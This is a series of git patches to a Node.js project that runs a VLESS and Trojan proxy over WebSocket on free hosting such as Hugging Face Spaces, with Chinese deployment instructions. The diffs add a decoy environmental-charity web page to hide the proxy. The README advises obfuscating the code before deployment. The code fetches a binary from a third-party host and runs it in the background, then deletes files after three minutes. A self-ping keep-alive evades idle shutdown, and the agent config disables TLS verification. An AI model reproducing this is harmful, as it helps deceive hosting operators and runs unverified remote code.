From a92d61f9a023d54e1df7e0c238f73aecd88ea0fb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Thu, 13 Nov 2025 01:57:42 +0800 Subject: [PATCH 01/20] Delete web-hosting.md --- web-hosting.md | 42 ------------------------------------------ 1 file changed, 42 deletions(-) delete mode 100644 web-hosting.md diff --git a/web-hosting.md b/web-hosting.md deleted file mode 100644 index 030ce5726b..0000000000 --- a/web-hosting.md +++ /dev/null @@ -1,42 +0,0 @@ -## Web Hosting 部署指南(适用于所有带nodejs App功能DirectAdmin面板) - -## 部署流程 - -**1:登录DirectAdmin面板,设置域名,如果已经设置为自己的子域名可以忽略这一步,点击`Account Manager`——`Domain Step`——`RENAME DOMAIN`——选择旧域名,输入一个新的子域名SAVE保存,参考如图:** -![image](https://github.com/user-attachments/assets/823bbe4a-5343-4322-9c1b-a1f80c97f9ed) - -![image](https://github.com/user-attachments/assets/e400548f-225f-4716-8973-35ee8aa68986) - - -**2:设置好域名后,查看域名需要解析到的IP,点击DNS Management查看,打开cloudflared,找到上一步添加的子域名所属的主域名添加A记录,并打开小黄云** -![image](https://github.com/user-attachments/assets/be3a1c29-50b2-41f7-af76-07c170cafc7d) - -![image](https://github.com/user-attachments/assets/4862226b-a053-458c-a842-7da80da14a66) - - -**3:解析完之后回到面板,找到File Manager进入,打开 `domains/你的域名/public_html` 目录,鼠标右键选择Upload Files 上传此项目里的`index.js`和`package.json`** -![image](https://github.com/user-attachments/assets/fdeaa875-739d-42e9-b6fc-e50005446a1f) - - -**4:设置index.js权限为777,并修改index.js里的必要环境变量,DOMAIN为必填,AUTO_ACCESS可设置为true开启自动保活,其他哪吒等参数可选** -![image](https://github.com/user-attachments/assets/5b2cd552-9dc4-4537-a899-967472d83ef2) - -![image](https://github.com/user-attachments/assets/4096918b-46e2-4745-b525-55e5c12d6773) - - -**5:复制地址栏的路径(不要带第一个斜杠)格式:`domains/你的域名/public_html` 再点击左上角的图标回到面板首页** - -**6:找到Setup Nodejs APP,点击进去,接着点击 CREATE APPLICATION,选择`推荐的nodejs版本`以及`Production` -Application root为上一步复制的路径,Application URL留空,Application startup file为 `index.js` 点击右上角的CREATE** -![image](https://github.com/user-attachments/assets/6df13972-a213-4bd5-a055-821fcd34e340) - - -**7:创建完后如下图成功所示后,点击RUN NPM install 按钮 等待30秒** -![image](https://github.com/user-attachments/assets/c094064e-6433-49a8-bd15-43c060d6752e) - -![image](https://github.com/user-attachments/assets/623d3888-e96c-498d-ac9a-84cacca4fea0) - - -**8:返回创建Nodejs App首页,点击重启,然后即可访问 域名/${SUB_PATH} 获取节点, 如果没有修改${SUB_PATH}变量,则默认订阅连接为 https://域名/sub** -![image](https://github.com/user-attachments/assets/3aac69a1-3ec3-4909-872f-fd4e1032012e) - From 886c2a3eca88750393d41c3be5374bda7d97eb34 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Thu, 13 Nov 2025 01:59:30 +0800 Subject: [PATCH 02/20] Add files via upload --- Dockerfile | 8 +- index.html | 722 +++++++++++++++++++++++++++++++++++++++++++++++++++++ index.js | 102 +++++++- 3 files changed, 815 insertions(+), 17 deletions(-) create mode 100644 index.html diff --git a/Dockerfile b/Dockerfile index 4351d63b1c..a7c31eb3db 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,10 +1,10 @@ -FROM node:alpine +FROM node:20-alpine3.20 -WORKDIR /app +WORKDIR /tmp -COPY . . +COPY index.js index.html package.json ./ -EXPOSE 3000 +EXPOSE 7860 RUN apk update && apk add --no-cache openssl curl &&\ chmod +x index.js &&\ diff --git a/index.html b/index.html new file mode 100644 index 0000000000..c60c5041cf --- /dev/null +++ b/index.html @@ -0,0 +1,722 @@ + + + + + + Green Network - Protect Earth + + + + + +
+ +
+ + +
+
+

Protect Our Planet, Preserve Our Future

+

Join the global movement to create a sustainable world through conservation, education, and community action.

+ Join Our Network +
+
+ + +
+
+
+

About Green Network

+

We are a global community dedicated to environmental protection and sustainable development.

+
+
+
+ Team planting trees +
+
+

Our Mission

+

Green Network is committed to creating a sustainable future by protecting natural ecosystems, promoting renewable energy, and empowering communities to take environmental action.

+

Founded in 2010, we've grown from a small grassroots organization to an international network with over 50,000 members across 120 countries.

+

Our approach combines scientific research, community engagement, and policy advocacy to address the most pressing environmental challenges of our time.

+ Learn More +
+
+
+
+ +

0

+

Trees Planted

+
+
+ +

0

+

Active Members

+
+
+ +

0

+

Countries Reached

+
+
+ +

0

+

Cleanup Projects

+
+
+
+
+ + +
+
+
+

Our Initiatives

+

Discover the key programs and projects we're implementing to protect our planet.

+
+
+
+
+ Reforestation +
+
+

Global Reforestation

+

Planting millions of trees worldwide to restore ecosystems, combat climate change, and protect biodiversity.

+ Learn More +
+
+
+
+ Ocean Conservation +
+
+

Ocean Conservation

+

Protecting marine ecosystems, reducing plastic pollution, and promoting sustainable fishing practices.

+ Learn More +
+
+
+
+ Renewable Energy +
+
+

Renewable Energy

+

Promoting solar, wind, and other clean energy sources to reduce dependence on fossil fuels.

+ Learn More +
+
+
+
+
+ + +
+
+

Join Our Global Movement

+

Together, we can create a sustainable future for generations to come. Every action counts, no matter how small.

+ Become a Member +
+
+ + + + + + + \ No newline at end of file diff --git a/index.js b/index.js index df56f1da2d..b8389fdf2d 100644 --- a/index.js +++ b/index.js @@ -3,6 +3,7 @@ const http = require('http'); const fs = require('fs'); const axios = require('axios'); const net = require('net'); +const path = require('path'); const { Buffer } = require('buffer'); const { exec, execSync } = require('child_process'); const { WebSocket, createWebSocketStream } = require('ws'); @@ -10,12 +11,12 @@ const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运 const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 -const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,建议填已反代的域名 +const DOMAIN = process.env.DOMAIN || 'xx-hf.space.domain'; // 填写项目域名或已反代的域名,不带前缀,建议填已反代的域名 const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 -const NAME = process.env.NAME || 'Vls'; // 节点名称 -const PORT = process.env.PORT || 3000; // http和ws服务端口 +const NAME = process.env.NAME || 'Hug'; // 节点名称 +const PORT = process.env.PORT || 7860; // http和ws服务端口 let ISP = ''; const GetISP = async () => { @@ -30,8 +31,18 @@ const GetISP = async () => { GetISP(); const httpServer = http.createServer((req, res) => { if (req.url === '/') { - res.writeHead(200, { 'Content-Type': 'text/plain' }); - res.end('Hello, World\n'); + const filePath = path.join(__dirname, 'index.html'); + fs.readFile(filePath, 'utf8', (err, content) => { + if (err) { + res.writeHead(500, { 'Content-Type': 'text/plain' }); + res.end('Internal Server Error'); + return; + } + + res.writeHead(200, { 'Content-Type': 'text/html' }); + res.end(content); + }); + return; } else if (req.url === `/${SUB_PATH}`) { const vlessURL = `vless://${UUID}@www.visa.com.tw:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${NAME}-${ISP}`; const base64Content = Buffer.from(vlessURL).toString('base64'); @@ -45,6 +56,53 @@ const httpServer = http.createServer((req, res) => { const wss = new WebSocket.Server({ server: httpServer }); const uuid = UUID.replace(/-/g, ""); +const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; +// Custom DNS resolver function +function resolveHost(host) { + return new Promise((resolve, reject) => { + if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { + resolve(host); + return; + } + + let attempts = 0; + + function tryNextDNS() { + if (attempts >= DNS_SERVERS.length) { + reject(new Error(`Failed to resolve ${host} with all DNS servers`)); + return; + } + + const dnsServer = DNS_SERVERS[attempts]; + attempts++; + const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; + axios.get(dnsQuery, { + timeout: 5000, + headers: { + 'Accept': 'application/dns-json' + } + }) + .then(response => { + const data = response.data; + if (data.Status === 0 && data.Answer && data.Answer.length > 0) { + const ip = data.Answer.find(record => record.type === 1); + if (ip) { + resolve(ip.data); + return; + } + } + tryNextDNS(); + }) + .catch(error => { + // console.warn(`DNS resolution failed with ${dnsServer}:`, error.message); + tryNextDNS(); + }); + } + + tryNextDNS(); + }); +} + wss.on('connection', ws => { // console.log("Connected successfully"); ws.once('message', msg => { @@ -60,10 +118,28 @@ wss.on('connection', ws => { // console.log(`Connection from ${host}:${port}`); ws.send(new Uint8Array([VERSION, 0])); const duplex = createWebSocketStream(ws); - net.connect({ host, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); + + // Resolve hostname using custom DNS before connecting + resolveHost(host) + .then(resolvedIP => { + console.log(`Resolved ${host} to ${resolvedIP} using custom DNS`); + net.connect({ host: resolvedIP, port }, function() { + this.write(msg.slice(i)); + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', (error) => { + console.error(`Connection error to ${resolvedIP}:${port}`, error.message); + }); + }) + .catch(error => { + console.error(`DNS resolution failed for ${host}:`, error.message); + // Fallback to system DNS + net.connect({ host, port }, function() { + this.write(msg.slice(i)); + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', (error) => { + console.error(`Connection error to ${host}:${port}`, error.message); + }); + }); }).on('error', () => {}); }); @@ -146,12 +222,12 @@ disable_force_update: true disable_nat: false disable_send_query: false gpu: false -insecure_tls: false +insecure_tls: true ip_report_period: 1800 -report_delay: 1 +report_delay: 4 server: ${NEZHA_SERVER} -skip_connection_count: false -skip_procs_count: false +skip_connection_count: true +skip_procs_count: true temperature: false tls: ${NZ_TLS} use_gitee_to_upgrade: false From a9a7fdcab9a2cc260a7c72bae061082f431ce89f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Thu, 13 Nov 2025 01:59:43 +0800 Subject: [PATCH 03/20] Delete .github/workflows directory --- .github/workflows/build-image.yml | 47 ------------------------------- 1 file changed, 47 deletions(-) delete mode 100644 .github/workflows/build-image.yml diff --git a/.github/workflows/build-image.yml b/.github/workflows/build-image.yml deleted file mode 100644 index 8bc16a5bb8..0000000000 --- a/.github/workflows/build-image.yml +++ /dev/null @@ -1,47 +0,0 @@ -name: Build and Push Docker Image - -on: - push: - branches: [ main ] - paths: - - 'Dockerfile' - - 'index.js' - - 'package.json' - pull_request: - branches: [ main ] - workflow_dispatch: - -jobs: - build: - runs-on: ubuntu-latest - permissions: - contents: read - packages: write - - steps: - - name: Checkout repository - uses: actions/checkout@v4 - - - name: Log in to GitHub Container Registry - uses: docker/login-action@v3 - with: - registry: ghcr.io - username: ${{ github.actor }} - password: ${{ secrets.GITHUB_TOKEN }} - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v3 - - - name: Build and push Docker image - uses: docker/build-push-action@v5 - with: - context: . - push: true - tags: | - ghcr.io/${{ github.repository_owner }}/ws:latest - labels: | - org.opencontainers.image.source=https://github.com/${{ github.repository }} - org.opencontainers.image.description=Websocket Server - org.opencontainers.image.licenses=MIT - cache-from: type=gha - cache-to: type=gha,mode=max From d9044267bd2c50b935448fc3a23e053245e6c36c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Thu, 13 Nov 2025 02:12:07 +0800 Subject: [PATCH 04/20] Update README.md --- README.md | 24 ++++++++++++++---------- 1 file changed, 14 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index d741779c2f..03c7f3ffef 100644 --- a/README.md +++ b/README.md @@ -1,27 +1,31 @@ -## Node-ws说明 +## hugggingfface部署指南 -## [web-hosting部署指南](https://github.com/eooce/node-ws/blob/main/web-hosting.md) (适用于所有带nodejs App功能DirectAdmin面板) +1. fork 此项目 +2. 在Actions菜单允许 `I understand my workflows, go ahead and enable them` 按钮 +3. 将hug分支中的index.js填写需要的变量后混淆保存,js混肴地址:https://obfuscator.io +4. 在.github/workflows/build-hug-image.yml 44中修改镜像名称 +5. 去huggingface创建空白space,docker +6. 创建一个新文件,文件名`Dockerfile` 内容如下: +``` +FROM ghcr.io/github用户名/镜像名:latest -* 用于node环境的玩具和容器,基于node三方ws库,集成哪吒探针服务,可自行添加环境变量 +ENV DOMAIN=space域名 +``` * PaaS 平台设置的环境变量 | 变量名 | 是否必须 | 默认值 | 备注 | | ------------ | ------ | ------ | ------ | | UUID | 否 |de04add9-5c68-6bab-950c-08cd5320df33| 开启了哪吒v1,请修改UUID| - | PORT | 否 | 3000 | 监听端口 | + | PORT | 否 | 7860 | 监听端口 | | NEZHA_SERVER | 否 | |哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com| | NEZHA_PORT | 否 | | 哪吒v1没有此变量,v0的agent端口| | NEZHA_KEY | 否 | | 哪吒v1的NZ_CLIENT_SECRET或v0的agent端口 | | NAME | 否 | | 节点名称前缀,例如:Glitch | | DOMAIN | 是 | | 项目分配的域名或已反代的域名,不包括https://前缀 | | SUB_PATH | 否 | sub | 订阅路径 | - | AUTO_ACCESS | 否 | false | 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 | + | AUTO_ACCESS | 否 | true | 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 | -* 域名/sub查看节点信息,也是订阅地址,包含 https:// 或 http:// 前缀,非标端口,域名:端口/sub - - -* 温馨提示:READAME.md为说明文件,请不要上传。 -* js混肴地址:https://obfuscator.io +* 域名/${SUB_APTH}查看节点信息,非标端口,域名:端口/${SUB_APTH} ## 开源协议说明(基于GPL) From f9268be5f574c0c0b66c3a42b20dc220ee66eac9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Thu, 13 Nov 2025 02:15:42 +0800 Subject: [PATCH 05/20] Update README.md --- README.md | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/README.md b/README.md index 03c7f3ffef..7a28fb72d0 100644 --- a/README.md +++ b/README.md @@ -27,6 +27,28 @@ ENV DOMAIN=space域名 * 域名/${SUB_APTH}查看节点信息,非标端口,域名:端口/${SUB_APTH} +### 使用cloudflare workers 或 snippets 反代域名给xhttp节点套cdn加速 +``` +export default { + async fetch(request, env) { + let url = new URL(request.url); + if (url.pathname.startsWith('/')) { + var arrStr = [ + 'your-space.domain', // 此处单引号里填写你的节点伪装域名 + ]; + url.protocol = 'https:' + url.hostname = getRandomArray(arrStr) + let new_request = new Request(url, request); + return fetch(new_request); + } + return env.ASSETS.fetch(request); + }, +}; +function getRandomArray(array) { + const randomIndex = Math.floor(Math.random() * array.length); + return array[randomIndex]; +} +``` ## 开源协议说明(基于GPL) From b649ff737f846fa5b9dd8b8e5c543967ec81fcf8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Thu, 13 Nov 2025 02:18:21 +0800 Subject: [PATCH 06/20] Update package.json --- package.json | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/package.json b/package.json index 1228107be7..2e1e04cf5c 100644 --- a/package.json +++ b/package.json @@ -1,18 +1,15 @@ { - "name": "node-ws", + "name": "nodews", "version": "1.0.0", - "description": "Node.js Server", + "description": "Nodejs-server", "main": "index.js", - "author": "eoovve", - "repository": "https://github.com/eoovve/node-ws", - "license": "MIT", "private": false, "scripts": { "start": "node index.js" }, "dependencies": { "ws": "^8.14.2", - "axios": "^1.6.2" + "axios": "^1.12.2" }, "engines": { "node": ">=14" From 4abce5421a8831080818cdba2311dfe8d46fa47d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Thu, 13 Nov 2025 13:17:28 +0800 Subject: [PATCH 07/20] Update index.js --- index.js | 194 ++++++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 141 insertions(+), 53 deletions(-) diff --git a/index.js b/index.js index b8389fdf2d..9a0196c5f6 100644 --- a/index.js +++ b/index.js @@ -4,6 +4,7 @@ const fs = require('fs'); const axios = require('axios'); const net = require('net'); const path = require('path'); +const crypto = require('crypto'); const { Buffer } = require('buffer'); const { exec, execSync } = require('child_process'); const { WebSocket, createWebSocketStream } = require('ws'); @@ -11,7 +12,7 @@ const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运 const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 -const DOMAIN = process.env.DOMAIN || 'xx-hf.space.domain'; // 填写项目域名或已反代的域名,不带前缀,建议填已反代的域名 +const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,建议填已反代的域名 const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 @@ -29,23 +30,25 @@ const GetISP = async () => { } } GetISP(); + const httpServer = http.createServer((req, res) => { if (req.url === '/') { - const filePath = path.join(__dirname, 'index.html'); - fs.readFile(filePath, 'utf8', (err, content) => { - if (err) { - res.writeHead(500, { 'Content-Type': 'text/plain' }); - res.end('Internal Server Error'); - return; - } - - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end(content); - }); + const filePath = path.join(__dirname, 'index.html'); + fs.readFile(filePath, 'utf8', (err, content) => { + if (err) { + res.writeHead(200, { 'Content-Type': 'text/html' }); + res.end('Hello world!'); return; + } + res.writeHead(200, { 'Content-Type': 'text/html' }); + res.end(content); + }); + return; } else if (req.url === `/${SUB_PATH}`) { - const vlessURL = `vless://${UUID}@www.visa.com.tw:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${NAME}-${ISP}`; - const base64Content = Buffer.from(vlessURL).toString('base64'); + const vlessURL = `vless://${UUID}@${DOMAIN}:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${NAME}-${ISP}`; + const trojanURL = `trojan://${UUID}@${DOMAIN}:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${NAME}-${ISP}`; + const subscription = vlessURL + '\n' + trojanURL; + const base64Content = Buffer.from(subscription).toString('base64'); res.writeHead(200, { 'Content-Type': 'text/plain' }); res.end(base64Content + '\n'); } else { @@ -57,22 +60,19 @@ const httpServer = http.createServer((req, res) => { const wss = new WebSocket.Server({ server: httpServer }); const uuid = UUID.replace(/-/g, ""); const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; -// Custom DNS resolver function +// Custom DNS function resolveHost(host) { return new Promise((resolve, reject) => { if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { resolve(host); return; } - let attempts = 0; - function tryNextDNS() { if (attempts >= DNS_SERVERS.length) { reject(new Error(`Failed to resolve ${host} with all DNS servers`)); return; } - const dnsServer = DNS_SERVERS[attempts]; attempts++; const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; @@ -94,7 +94,6 @@ function resolveHost(host) { tryNextDNS(); }) .catch(error => { - // console.warn(`DNS resolution failed with ${dnsServer}:`, error.message); tryNextDNS(); }); } @@ -103,43 +102,136 @@ function resolveHost(host) { }); } -wss.on('connection', ws => { - // console.log("Connected successfully"); - ws.once('message', msg => { - const [VERSION] = msg; - const id = msg.slice(1, 17); - if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return; - let i = msg.slice(17, 18).readUInt8() + 19; - const port = msg.slice(i, i += 2).readUInt16BE(0); - const ATYP = msg.slice(i, i += 1).readUInt8(); - const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : +// VLE-SS处理 +function handleVlessConnection(ws, msg) { + const [VERSION] = msg; + const id = msg.slice(1, 17); + if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; + let i = msg.slice(17, 18).readUInt8() + 19; + const port = msg.slice(i, i += 2).readUInt16BE(0); + const ATYP = msg.slice(i, i += 1).readUInt8(); + const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); - // console.log(`Connection from ${host}:${port}`); - ws.send(new Uint8Array([VERSION, 0])); - const duplex = createWebSocketStream(ws); + ws.send(new Uint8Array([VERSION, 0])); + const duplex = createWebSocketStream(ws); + resolveHost(host) + .then(resolvedIP => { + net.connect({ host: resolvedIP, port }, function() { + this.write(msg.slice(i)); + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }) + .catch(error => { + net.connect({ host, port }, function() { + this.write(msg.slice(i)); + duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); + }).on('error', () => {}); + }); + + return true; +} + +// Tro-jan处理 +function handleTrojanConnection(ws, msg) { + try { + if (msg.length < 58) return false; + const receivedPasswordHash = msg.slice(0, 56).toString(); + const possiblePasswords = [ + UUID, + UUID.replace(/-/g, ''), + UUID.toUpperCase(), + UUID.replace(/-/g, '').toUpperCase(), + ]; - // Resolve hostname using custom DNS before connecting + let matchedPassword = null; + for (const pwd of possiblePasswords) { + const hash = crypto.createHash('sha224').update(pwd).digest('hex'); + if (hash === receivedPasswordHash) { + matchedPassword = pwd; + break; + } + } + + if (!matchedPassword) return false; + let offset = 56; + if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { + offset += 2; + } + + const cmd = msg[offset]; + if (cmd !== 0x01) return false; + offset += 1; + const atyp = msg[offset]; + offset += 1; + let host, port; + if (atyp === 0x01) { + host = msg.slice(offset, offset + 4).join('.'); + offset += 4; + } else if (atyp === 0x03) { + const hostLen = msg[offset]; + offset += 1; + host = msg.slice(offset, offset + hostLen).toString(); + offset += hostLen; + } else if (atyp === 0x04) { + host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => + (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) + .map(b => b.readUInt16BE(0).toString(16)).join(':'); + offset += 16; + } else { + return false; + } + + port = msg.readUInt16BE(offset); + offset += 2; + + if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { + offset += 2; + } + + const duplex = createWebSocketStream(ws); + resolveHost(host) .then(resolvedIP => { - console.log(`Resolved ${host} to ${resolvedIP} using custom DNS`); net.connect({ host: resolvedIP, port }, function() { - this.write(msg.slice(i)); + if (offset < msg.length) { + this.write(msg.slice(offset)); + } duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', (error) => { - console.error(`Connection error to ${resolvedIP}:${port}`, error.message); - }); + }).on('error', () => {}); }) .catch(error => { - console.error(`DNS resolution failed for ${host}:`, error.message); - // Fallback to system DNS net.connect({ host, port }, function() { - this.write(msg.slice(i)); + if (offset < msg.length) { + this.write(msg.slice(offset)); + } duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', (error) => { - console.error(`Connection error to ${host}:${port}`, error.message); - }); + }).on('error', () => {}); }); + + return true; + } catch (error) { + return false; + } +} +// Ws 连接处理 +wss.on('connection', (ws, req) => { + const url = req.url || ''; + ws.once('message', msg => { + if (msg.length > 17 && msg[0] === 0) { + const id = msg.slice(1, 17); + const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); + if (isVless) { + if (!handleVlessConnection(ws, msg)) { + ws.close(); + } + return; + } + } + + if (!handleTrojanConnection(ws, msg)) { + ws.close(); + } }).on('error', () => {}); }); @@ -149,23 +241,22 @@ const getDownloadUrl = () => { if (!NEZHA_PORT) { return 'https://arm64.ssss.nyc.mn/v1'; } else { - return 'https://arm64.ssss.nyc.mn/agent'; + return 'https://arm64.ssss.nyc.mn/agent'; } } else { if (!NEZHA_PORT) { return 'https://amd64.ssss.nyc.mn/v1'; } else { - return 'https://amd64.ssss.nyc.mn/agent'; + return 'https://amd64.ssss.nyc.mn/agent'; } } }; const downloadFile = async () => { - if (!NEZHA_SERVER && !NEZHA_KEY) return; // 不存在nezha变量时不下载文件 + if (!NEZHA_SERVER && !NEZHA_KEY) return; try { const url = getDownloadUrl(); - // console.log(`Start downloading file from ${url}`); const response = await axios({ method: 'get', url: url, @@ -198,7 +289,7 @@ const runnz = async () => { return; } } catch (e) { - //进程不存在时继续运行nezha + // 进程不存在时继续运行nezha } await downloadFile(); @@ -206,12 +297,10 @@ const runnz = async () => { let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { - // 检测哪吒v0是否开启TLS const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; } else if (NEZHA_SERVER && NEZHA_KEY) { if (!NEZHA_PORT) { - // 检测哪吒v1是否开启TLS const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; const configYaml = `client_secret: ${NEZHA_KEY} @@ -256,7 +345,6 @@ async function addAccessTask() { if (!AUTO_ACCESS) return; if (!DOMAIN) { - // console.log('URL is empty. Skip Adding Automatic Access Task'); return; } const fullURL = `https://${DOMAIN}/${SUB_PATH}`; @@ -283,7 +371,7 @@ httpServer.listen(PORT, () => { runnz(); setTimeout(() => { delFiles(); - }, 180000); // 180s + }, 180000); addAccessTask(); console.log(`Server is running on port ${PORT}`); }); From b566e364255c6b897d37e65766ef4b84f98731d2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Thu, 13 Nov 2025 20:15:39 +0800 Subject: [PATCH 08/20] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7a28fb72d0..5b09135576 100644 --- a/README.md +++ b/README.md @@ -27,7 +27,7 @@ ENV DOMAIN=space域名 * 域名/${SUB_APTH}查看节点信息,非标端口,域名:端口/${SUB_APTH} -### 使用cloudflare workers 或 snippets 反代域名给xhttp节点套cdn加速 +### 使用cloudflare workers 或 snippets 反代域名给节点套cdn加速 ``` export default { async fetch(request, env) { From b17207fc3c1c16fff6f47245677a1e388edd1841 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Thu, 13 Nov 2025 22:38:17 +0800 Subject: [PATCH 09/20] Update index.js --- index.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.js b/index.js index 9a0196c5f6..86d4cef4e2 100644 --- a/index.js +++ b/index.js @@ -13,7 +13,7 @@ const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形 const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,建议填已反代的域名 -const AUTO_ACCESS = process.env.AUTO_ACCESS || false; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 +const AUTO_ACCESS = process.env.AUTO_ACCESS || true; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 const NAME = process.env.NAME || 'Hug'; // 节点名称 From 4df39a9c5ed6cbe542e8663b0a257545388f6284 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Fri, 14 Nov 2025 00:04:25 +0800 Subject: [PATCH 10/20] Update index.js --- index.js | 3 --- 1 file changed, 3 deletions(-) diff --git a/index.js b/index.js index 86d4cef4e2..1710efe880 100644 --- a/index.js +++ b/index.js 